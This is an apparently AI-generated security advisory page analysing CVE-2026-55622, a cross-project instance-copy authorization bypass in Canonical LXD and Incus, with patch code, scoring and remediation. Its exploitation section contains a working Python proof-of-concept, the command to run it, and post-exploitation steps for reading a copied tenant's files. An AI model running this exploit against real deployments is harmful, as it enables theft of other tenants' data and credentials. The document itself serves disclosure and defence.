CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-QX75-2P3R-PWM5

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 6, 2026·11 min read·1 visit

Executive Summary (TL;DR)

A missing authorization check in the instance creation handler (instancesPost) of Canonical LXD and LXC Incus allows an authenticated user with access to at least one project to copy instances and snapshots from any other restricted project on the same daemon or cluster. Once copied into the attacker's authorized project, the attacker gains full administrative control over the duplicate instance and its underlying data.

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Vulnerability Overview

Canonical LXD and its related fork LXC Incus are system container and virtual machine managers that expose a REST API over HTTPS (typically on port 8443) or a local Unix domain socket. To support multi-tenancy, LXD implements a resource isolation mechanism called Projects. Each project serves as an independent namespace capable of holding its own instances, profiles, storage volumes, images, and network configurations.

Administrators can restrict client access to specific projects by configuring TLS client certificates with restricted: true and an explicit allowlist of project names, or by applying granular role-based access control (RBAC) and OpenID Connect (OIDC) entitlements. Under this security model, a client restricted to project default is prohibited from listing, inspecting, modifying, or interacting with resources located in another project, such as secrets.

CVE-2026-55622 (also tracked as GHSA-qx75-2p3r-pwm5 for LXD and GHSA-c9f5-j9c3-mhrg for Incus) is an improper access control vulnerability classified under CWE-284. The flaw resides in the API endpoint responsible for creating new instances (POST /1.0/instances). When a client requests the creation of a new instance by copying an existing instance ("type": "copy"), the daemon validates the caller's permissions against the destination project specified in the URL query string (?project=<target_project>), but fails to check whether the caller is authorized to view the source instance specified in the JSON request body (source.project and source.source).

Because the source authorization check is omitted, any authenticated user who knows or guesses the name of an restricted foreign project and an instance within it can instruct the daemon to duplicate that instance into a project the user controls. Once the copy operation completes, the attacker possesses full administrative permissions over the newly created duplicate instance, enabling arbitrary inspection of its root filesystem, configuration metadata, and sensitive credentials.

Root Cause Analysis

The root cause of CVE-2026-55622 is an incomplete authorization model within the instancesPost HTTP handler located in lxd/instances_post.go (and cmd/incusd/instances_post.go in Incus). In LXD's architecture, HTTP API routing performs initial authentication and project-level access validation based on the project URL query parameter before or during the execution of the specific endpoint handler.

When an authenticated client issues a POST /1.0/instances?project=default request, the request router and initial handler logic verify that the caller possesses the required entitlement to create instances within the default project. However, the payload for POST /1.0/instances accepts an api.InstancesPost JSON structure containing an api.InstanceSource (req.Source) sub-object. This sub-object dictates how the new instance should be populated—such as from an image, an empty volume, a migration stream, or a local copy (api.SourceTypeCopy / "copy").

When req.Source.Type is set to copy, the req.Source.Project field allows the caller to specify the origin project of the instance or snapshot to be cloned, while req.Source.Source specifies the name of the origin instance (or instance/snapshot). Prior to the security patch, instancesPost immediately proceeded to initiate database transactions and load the source instance record (dbCluster.GetInstance) using req.Source.Project and req.Source.Source without invoking the internal authorizer (s.Authorizer.CheckPermission or s.Authorizer.UserHasPermission) on the source resource.

This discrepancy between the authorization target (derived from the URL query parameter) and the data access source (derived from the unvalidated JSON body parameter) creates a cross-project Insecure Direct Object Reference (IDOR) condition. Because the underlying storage and database drivers operate with daemon-level privileges once inside the handler, the cross-project copy succeeds regardless of the caller's project restrictions.

Code Analysis

Canonical and the Incus maintainers remediated the vulnerability by introducing explicit authorization checks inside instancesPost whenever req.Source.Type indicates a copy operation. Due to structural differences in the authorization subsystems across LXD's mainline 6.x series, LXD's 5.x LTS series, and Incus, the exact implementation varies slightly by branch.

Canonical LXD Mainline & 5.21 LTS (97cb037794cb6b21c5a184eb5f3292207adbf6b2 / f7849615eb89e71a12ea76daaab6110bdf0fdf7f)

In modern LXD releases utilizing the fine-grained entity authorizer (lxd/auth), the patch constructs an api.URL representing either the source instance or source snapshot within req.Source.Project and verifies that the caller holds the auth.EntitlementCanView permission before proceeding.

// File: lxd/instances_post.go
 
	if req.Source.Type == api.SourceTypeCopy {
		if req.Source.Source == "" {
			return response.BadRequest(errors.New("Must specify a source instance"))
		}
 
		// Default to the target project if no source project is explicitly provided
		if req.Source.Project == "" {
			req.Source.Project = targetProjectName
		}
 
		// Construct the exact entity URL for either an instance or an instance snapshot
		var sourceURL *api.URL
		instanceName, snapshotName, isSnapshot := api.GetParentAndSnapshotName(req.Source.Source)
		if isSnapshot {
			sourceURL = entity.InstanceSnapshotURL(req.Source.Project, instanceName, snapshotName)
		} else {
			sourceURL = entity.InstanceURL(req.Source.Project, req.Source.Source)
		}
 
		// Enforce that the caller has 'view' entitlement on the source entity
		err = s.Authorizer.CheckPermission(r.Context(), sourceURL, auth.EntitlementCanView)
		if err != nil {
			return response.SmartError(err)
		}
	}

Canonical LXD 5.0 LTS (bc1e20ea32dff6ae2df08803eee82832959ec80e)

In the older 5.0 LTS branch, the authorization subsystem checks permissions at the project level via UserHasPermission. The patch ensures that the caller has the "view" permission on req.Source.Project:

// File: lxd/instances_post.go
 
	if req.Source.Type == "copy" {
		if req.Source.Source == "" {
			return response.BadRequest(fmt.Errorf("Must specify a source instance"))
		}
 
		if req.Source.Project == "" {
			req.Source.Project = targetProjectName
		}
 
		// Verify the user has project-level 'view' permission on the source project
		if !s.Authorizer.UserHasPermission(r, req.Source.Project, "view") {
			return response.Forbidden(nil)
		}
	}

LXC Incus (1e3ffc53a10950e55de62ac1e0d612be597b84eb)

In Incus (cmd/incusd/instances_post.go), the fix extracts the parent instance name using api.GetParentAndSnapshotName and validates auth.EntitlementCanView against the auth.ObjectInstance(sourceProject, sourceName) object prior to opening the cluster database transaction.

// File: cmd/incusd/instances_post.go
 
	// For a copy, check that the caller is allowed to view the source instance before any of its details are loaded.
	if req.Source.Type == "copy" && req.Source.Source != "" {
		sourceProject := req.Source.Project
		if sourceProject == "" {
			sourceProject = targetProjectName
		}
 
		sourceName, _, _ := api.GetParentAndSnapshotName(req.Source.Source)
		err = s.Authorizer.CheckPermission(r.Context(), r, auth.ObjectInstance(sourceProject, sourceName), auth.EntitlementCanView)
		if err != nil {
			return response.SmartError(err)
		}
	}

Fix Completeness Assessment

The patches directly address the missing authorization check on cross-project instance and snapshot copies by validating view permissions before any database lookups or storage operations occur. In LXD 6.x / 5.21 and Incus 7.2.0, response.SmartError(err) returns an HTTP 403 Forbidden (or HTTP 404 Not Found depending on authorizer visibility rules) before attempting to load the source instance from the database, preventing both unauthorized copying and cross-project instance existence enumeration.

Exploitation Methodology

Exploiting CVE-2026-55622 requires an attacker to possess valid authentication credentials for the LXD or Incus REST API (such as a restricted TLS client certificate and private key) with permissions to create instances in at least one project (e.g., default). Additionally, the attacker must know or guess the name of a target project and the name of an instance (or instance snapshot) residing within that target project.

> [!NOTE] > Standard CLI commands such as lxc list --project secrets will fail with an HTTP 403 Forbidden error for a restricted user. However, project and instance names often follow predictable naming conventions (e.g., production, staging, db-01, web-01) or may be leaked through shared network metadata, DNS records, or monitoring systems.

Step-by-Step Exploitation

  1. Environment Preparation: Suppose a privileged administrator has created an isolated project named secrets containing a sensitive container named secret-db (lxc --project secrets init images:debian/trixie secret-db), while a low-privilege user is issued a client certificate (client.crt and client.key) restricted strictly to the default project.

  2. Crafting the Malicious API Request: Using the restricted certificate, the attacker sends an HTTP POST request to /1.0/instances?project=default. In the JSON body, the attacker sets source.type to "copy", source.project to "secrets", and source.source to "secret-db".

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
 
from __future__ import annotations
 
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
 
 
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)
 
    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise
 
 
def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()
 
    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0
 
 
if __name__ == "__main__":
    raise SystemExit(main())
  1. Executing the Exploit and Extracting Data: The attacker executes the proof-of-concept script against the target LXD daemon:
python3 poc.py --url https://<LXD_HOST>:8443 \
    --cert client.crt --key client.key \
    --target-project default \
    --source-project secrets \
    --source-instance secret-db \
    --name cloned-secret-db \
    --insecure
  1. Post-Exploitation Access: The LXD daemon processes the asynchronous background operation and duplicates the storage volume and configuration of secrets/secret-db into default/cloned-secret-db. The attacker can now interact with the cloned instance using standard CLI commands within their authorized default project (lxc start cloned-secret-db and lxc exec cloned-secret-db -- /bin/bash or lxc file pull), achieving full read access to all files, databases, and secrets stored inside the foreign instance.

Impact Assessment

CVE-2026-55622 carries a CVSS v3.1 base score of 7.7 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. The Attack Vector is Network (AV:N) because the LXD and Incus REST APIs are commonly exposed over TCP port 8443 to allow remote client management. Attack Complexity is Low (AC:L) and User Interaction is None (UI:N), as exploitation requires only a single crafted HTTP POST request. Privileges Required is Low (PR:L), reflecting the requirement for a valid, albeit project-restricted, client identity.

The Scope metric is Changed (S:C) because the vulnerable component is the LXD daemon authorization layer, while the impacted resource resides in a separate security domain (an isolated tenant project) beyond the authority of the restricted client. Confidentiality Impact is High (C:H). By cloning a container or virtual machine from another project, the attacker obtains an exact replica of its disk state, environment variables, instance configuration metadata, SSH keys, application source code, and database contents.

Direct Integrity (I:N) and Availability (A:N) impacts on the source instance are rated as None because the copy operation leaves the original instance in the foreign project unmodified and running. However, secondary lateral movement risks are substantial: if the cloned instance contains cloud provider API tokens, database credentials, or internal SSH keys, an attacker can leverage those harvested credentials to compromise external infrastructure or modify production data over the network.

Remediation & Mitigation Guidance

Administrators operating multi-tenant or project-restricted deployments of Canonical LXD or LXC Incus should upgrade to the patched releases immediately.

Patched Versions

  • Canonical LXD 5.0 LTS series: Upgrade to version 5.0.7 or later.
  • Canonical LXD 5.21 LTS series: Upgrade to version 5.21.5 or later.
  • Canonical LXD 6.x series: Upgrade to version 6.8 or later.
  • LXC Incus: Upgrade to version 7.2.0 or later.

Workarounds and Architectural Mitigations

If immediate patching is not feasible, administrators should evaluate the following compensating controls:

  1. Avoid Shared Daemons for Strict Multi-Tenancy: Do not rely solely on restricted: true TLS client certificates or project-level RBAC to separate untrusted tenants from sensitive workloads on the same LXD/Incus cluster. Separate high-security workloads onto dedicated LXD hosts or clusters.
  2. Restrict Network Access to the REST API: Use host-based firewalls (nftables / iptables) or network security groups to restrict access to port 8443/tcp strictly to trusted administrative jump hosts.
  3. Audit Logs and Event Monitoring: Inspect LXD daemon logs (/var/snap/lxd/common/lxd/logs/lxd.log or systemd journal logs for incusd) and audit logs for POST /1.0/instances requests where the target project query parameter differs from the source project in the request payload. Administrators can also monitor live cluster events via lxc monitor --type=operation to detect unexpected InstanceCreate operations involving cross-project copy sources.

Official Patches

CanonicalCanonical LXD Security Advisory GHSA-qx75-2p3r-pwm5
CanonicalCanonical LXD 5.0.7 LTS Release
CanonicalCanonical LXD 5.21.5 LTS Release
CanonicalCanonical LXD 6.8 Release
Linux Containers (LXC)LXC Incus Security Advisory GHSA-c9f5-j9c3-mhrg
Linux Containers (LXC)LXC Incus v7.2.0 Release

Fix Analysis (4)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
EPSS Probability
0.45%
Top 60% most exploited

Affected Systems

Canonical LXDLXC Incus

Affected Versions Detail

Product
Affected Versions
Fixed Version
LXD (5.0 LTS)
Canonical
>= 4.12.0, < 5.0.75.0.7
LXD (5.21 LTS)
Canonical
>= 5.1.0, < 5.21.55.21.5
LXD (6.x series)
Canonical
>= 6.0.0, < 6.8.06.8
Incus
Linux Containers (LXC)
< 7.2.07.2.0
AttributeDetail
CVE / Advisory IDCVE-2026-55622 / GHSA-qx75-2p3r-pwm5 / GHSA-c9f5-j9c3-mhrg
Weakness ClassCWE-284 (Improper Access Control)
CVSS v3.1 Score7.7 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
EPSS Score0.45% (39.55th Percentile)
Attack VectorNetwork (Authenticated REST API POST /1.0/instances)
Primary ImpactCross-Project Instance & Snapshot Cloning / High Confidentiality Loss
Exploit StatusProof of Concept Publicly Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1078Valid Accounts
Initial Access
T1530Data from Cloud Storage Object
Collection
T1083File and Directory Discovery
Discovery
T1552Unsecured Credentials
Credential Access
CWE-284
Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Known Exploits & Detection

GitHub Security Advisory (GHSA-qx75-2p3r-pwm5)Official Canonical LXD advisory containing technical reproduction steps and Python proof-of-concept exploit script.
GitHub Security Advisory (GHSA-c9f5-j9c3-mhrg)Official LXC Incus advisory detailing the cross-project instance copy vulnerability.

Vulnerability Timeline

Canonical LXD developers commit initial fix verifying EntitlementCanView on source instances (97cb037794cb6b21c5a184eb5f3292207adbf6b2).
2026-03-18
Stéphane Graber commits upstream fix for LXC Incus (1e3ffc53a10950e55de62ac1e0d612be597b84eb).
2026-06-22
Canonical backports and commits fixes across LXD stable and LTS release branches (bc1e20ea32dff6ae2df08803eee82832959ec80e, f7849615eb89e71a12ea76daaab6110bdf0fdf7f).
2026-06-23
Release of LXC Incus 7.2.0 containing the security fix.
2026-06-29
CVE-2026-55622 published by GitHub CNA and synchronized to NVD.
2026-08-21
GHSA-qx75-2p3r-pwm5 published in the GitHub Advisory Database.
2026-11-06

References & Sources

  • [1]Canonical LXD Security Advisory (GHSA-qx75-2p3r-pwm5)
  • [2]LXC Incus Security Advisory (GHSA-c9f5-j9c3-mhrg)
  • [3]National Vulnerability Database (CVE-2026-55622)
  • [4]CVE.org Record (CVE-2026-55622)
  • [5]Canonical LXD Fix Commit (97cb037794cb6b21c5a184eb5f3292207adbf6b2)
  • [6]Canonical LXD LTS Fix Commit (bc1e20ea32dff6ae2df08803eee82832959ec80e)
  • [7]Canonical LXD Fix Commit (f7849615eb89e71a12ea76daaab6110bdf0fdf7f)
  • [8]LXC Incus Pull Request #3542
  • [9]LXC Incus Fix Commit (1e3ffc53a10950e55de62ac1e0d612be597b84eb)
  • [10]Incus 7.2 Release Announcement
Related Vulnerabilities
GHSA-qx75-2p3r-pwm5GHSA-c9f5-j9c3-mhrg

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
3 views•10 min read
•about 3 hours ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
4 views•11 min read
•about 4 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read
•1 day ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
7 views•10 min read
•1 day ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
11 views•11 min read
•1 day ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
10 views•11 min read